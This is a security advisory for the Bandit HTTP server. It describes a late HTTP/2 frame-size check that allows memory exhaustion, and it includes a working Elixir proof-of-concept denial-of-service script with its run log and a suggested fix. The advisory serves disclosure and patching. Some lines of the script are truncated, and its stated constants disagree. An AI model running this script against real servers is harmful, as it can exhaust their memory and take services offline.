

# HTTP/2 frame size limit bypassed by late buffer check enables memory exhaustion in Bandit

**Moderate** mtrudel published GHSA-q6v9-r226-v65f 1 hour ago

## Package

 **bandit** (Erlang).

## Affected versions

> 0.3.5 and < 1.11.0

## Patched versions

1.11.0

## Description

### Summary

Bandit's HTTP/2 parser checks frame size *after* it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium.

### Details

In `lib/bandit/http2/frame.ex:23-65`, every clause that could detect an oversized frame requires `payload::binary-size(length)` to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns `{:more, msg}` and the connection layer keeps reading. So the cap fires only after the violation is complete.

The frame type and stream id don't matter; the parser never gets that far.

### PoC

The script is at the end. It:

1. Opens an h2c connection to a Bandit server it starts itself.
2. Sends a 9-byte frame header announcing `length = 0xFFFFF` (~16 MiB).

3. Polls for `GOAWAY(FRAME_SIZE_ERROR)` . If silent, drips body bytes in 64 KiB chunks.

A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes.

### Suggested fix

Add a header-only clause that rejects on the length field alone, e.g. `def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}` , placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered.

### Impact

Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated `max_frame_size` should allow. No code execution, no data disclosure — pure resource exhaustion.

Fix: add a header-only clause that rejects on `length > max_frame_size` as soon as the 9 header bytes arrive, before the body-bearing clauses.

```
# Bandit HTTP/2 oversized-frame late-check PoC.
#
# RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384.
# Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this
# limit *after* matching `payload::binary-size(length)` in the frame
# pattern. When the announced length exceeds what the buffer holds,
# none of the body-bearing clauses match and `deserialize/2` returns
# `{:more, msg}`, telling the caller to keep buffering. The oversize
# error in the "valid shape, length > max_frame_size" clause therefore
# fires only *after* the entire announced body has been received –
# letting a peer trickle up to ~16 MiB per frame (the 24-bit length
# field maximum) into the server before the cap engages, well past
# the 16 KiB the server agreed to.
#
# This PoC announces a frame with length = 0xFFFFFFFF (~16 MiB), drips
# body bytes in 64 KiB chunks, and after each chunk does a brief
# non-blocking recv to see if the server has reacted. A patched server
# should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header
# alone is enough). A vulnerable server keeps silently accepting up
# to the full 16 MiB.
#
# We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive
# header – the parser never reaches dispatch (it's stuck buffering
# body), so the type and stream id are immaterial to the bug.
#
# Run: elixir scripts/bandit/http2_frame_size_late_check.exs

Mix.install([
  {:bandit, "-> 1.10"},
```



```

{:plug, "-> 1.19"}
])

defmodule NoopApp do
  @behaviour Plug
  def init(opts), do: opts
  def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n")
end

defmodule FrameSizeLateCheck do
  @port 4321
  @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"

  @type_settings 0x4
  @type_goaway 0x7
  @flag_settings_ack 0x1

  @max_24_bit 0xFFFFFFFF
  @drip_chunk_size 64 * 1024
  @max_total_drip 4 * 1024 * 1024

  def run do
    {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port)

    {:ok, sock} =
      :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true])

    advertised_max_frame_size = handshake!(sock)
    log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_siz

    abusive_header =
      frame_header(@max_24_bit, @type_settings, 0, 0)

    log(
      "Sending oversized SETTINGS header: length=#{@max_24_bit} " <>
      "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}."
    )

    :ok = :gen_tcp.send(sock, abusive_header)

    case poll_for_reaction(sock, 200) do
      {:goaway, error_code} ->
        log("Server sent GOAWAY on header alone: error_code=#{error_code} – patched.")
        finish(sock)

      :silent ->
        log("Server silent after header. Beginning body drip...")
        drip_loop(sock, 0)
    end
  end

  defp drip_loop(sock, total_sent) when total_sent >= @max_total_drip do
    log(
      "Drip cap reached: #{total_sent} bytes accepted with no server reaction. " <>
      "Server is buffering an oversized frame body well past max_frame_size."
    )
  end
end

```

```

    finish(sock)
  end

  defp drip_loop(sock, total_sent) do
    chunk = :binary.copy(<<0>>, @drip_chunk_size)

    case :gen_tcp.send(sock, chunk) do
    :ok ->
      new_total = total_sent + @drip_chunk_size

      case poll_for_reaction(sock, 50) do
      {:goaway, error_code} ->
        log(
          "After #{new_total} body bytes (#{div(new_total, 1024)} KiB) the server "
          "sent GOAWAY: error_code=#{error_code}."
        )

        finish(sock)

      :silent ->
        if rem(new_total, 512 * 1024) == 0 do
          log("Dripped #{div(new_total, 1024)} KiB so far, no reaction.")
        end

        drip_loop(sock, new_total)
      end

      {:error, reason} ->
        log("Send failed at total=#{total_sent}: #{inspect(reason)}.")
        finish(sock)
      end
    end

  defp poll_for_reaction(sock, timeout_ms) do
    case :gen_tcp.recv(sock, 9, timeout_ms) do
    {:ok, <<length::24, type::8, _flags::8, _r::1, _stream_id::31>>} ->
      case recv_payload(sock, length, timeout_ms) do
      {:ok, payload} when type == @type_goaway ->
        <<_last_id::32, error_code::32, _debug::binary>> = payload
        {:goaway, error_code}

      {:ok, _} ->
        :silent

      {:error, _} ->
        :silent
      end

    {:error, :timeout} ->
      :silent

    {:error, :closed} ->
      {:goaway, :connection_closed_without_goaway}
    end
  end
end
end

```

```

defp finish(sock), do: :gen_tcp.close(sock)

# --- HTTP/2 handshake helpers -----

defp handshake!(sock) do
  :ok = :gen_tcp.send(sock, @connection_preface)
  :ok = :gen_tcp.send(sock, build_settings_frame(<<>>))

  {:ok, server_settings_frame} = recv_full_frame(sock, 5_000)
  @type_settings = server_settings_frame.type
  advertised_max_frame_size = parse_max_frame_size(server_settings_frame.payload)

  :ok = :gen_tcp.send(sock, build_settings_frame(<<>>, @flag_settings_ack))

  _ = drain(sock, 100)
  advertised_max_frame_size
end

# SETTINGS payload is a sequence of 6-byte (id::16, value::32) entries.
# SETTINGS_MAX_FRAME_SIZE has id=0x5; default per RFC 9113 is 16384.
defp parse_max_frame_size(payload), do: parse_max_frame_size(payload, 16384)
defp parse_max_frame_size(<<>>, current_value), do: current_value

defp parse_max_frame_size(<<0x5::16, value::32, rest::binary>>, _current) do
  parse_max_frame_size(rest, value)
end

defp parse_max_frame_size(<<_id::16, _value::32, rest::binary>>, current) do
  parse_max_frame_size(rest, current)
end

defp build_settings_frame(payload, flags \\ 0) do
  frame_header(byte_size(payload), @type_settings, flags, 0) <> payload
end

defp frame_header(length, type, flags, stream_id) do
  <<length::24, type::8, flags::8, 0::1, stream_id::31>>
end

defp recv_full_frame(sock, timeout_ms) do
  with {:ok, <<length::24, type::8, flags::8, _r::1, stream_id::31>>} <-
    :gen_tcp.recv(sock, 9, timeout_ms),
    {:ok, payload} <- recv_payload(sock, length, timeout_ms) do
    {:ok, %{length: length, type: type, flags: flags, stream_id: stream_id, payload: p
  end
end

defp recv_payload(_sock, 0, _timeout_ms), do: {:ok, <<>>}
defp recv_payload(sock, length, timeout_ms), do: :gen_tcp.recv(sock, length, timeout_m

defp drain(sock, timeout_ms) do
  case :gen_tcp.recv(sock, 0, timeout_ms) do
    {:ok, bytes} -> bytes <> drain(sock, timeout_ms)
    {:error, _} -> <<>>
  end
end

```

```

end

defp log(message), do: IO.puts("#{Time.utc_now() |> Time.truncate(:millisecond)}] #{m
end

FrameSizeLateCheck.run()

```

```

17:23:19.125 [info] Running NoopApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[15:23:19.242] Handshake complete. Server advertised max_frame_size=16384.
[15:23:19.243] Sending oversized SETTINGS header: length=16777215 (15 MiB) vs cap
16384.
[15:23:19.444] Server silent after header. Beginning body drip...
[15:23:19.857] Dripped 512 KiB so far, no reaction.
[15:23:20.265] Dripped 1024 KiB so far, no reaction.
[15:23:20.676] Dripped 1536 KiB so far, no reaction.
[15:23:21.094] Dripped 2048 KiB so far, no reaction.
[15:23:21.511] Dripped 2560 KiB so far, no reaction.
[15:23:21.925] Dripped 3072 KiB so far, no reaction.
[15:23:22.340] Dripped 3584 KiB so far, no reaction.
[15:23:22.749] Dripped 4096 KiB so far, no reaction.
[15:23:22.749] Drip cap reached: 4194304 bytes accepted with no server reaction.
Server is buffering an oversized frame body well past max_frame_size.

```



## Severity

Moderate 6.9 / 10

### CVSS v4 base metrics

#### Exploitability Metrics

Attack Vector	Network
Attack Complexity	Low
Attack Requirements	None
Privileges Required	None
User interaction	None

#### Vulnerable System Impact Metrics

Confidentiality	None
Integrity	None
Availability	Low

#### Subsequent System Impact Metrics

Confidentiality	None
Integrity	None
Availability	None

[Learn more about base metrics](#)

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

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### CVE ID

CVE-2026-42788

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### Weaknesses

No CWEs

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### Credits



**PJUllrich**

Reporter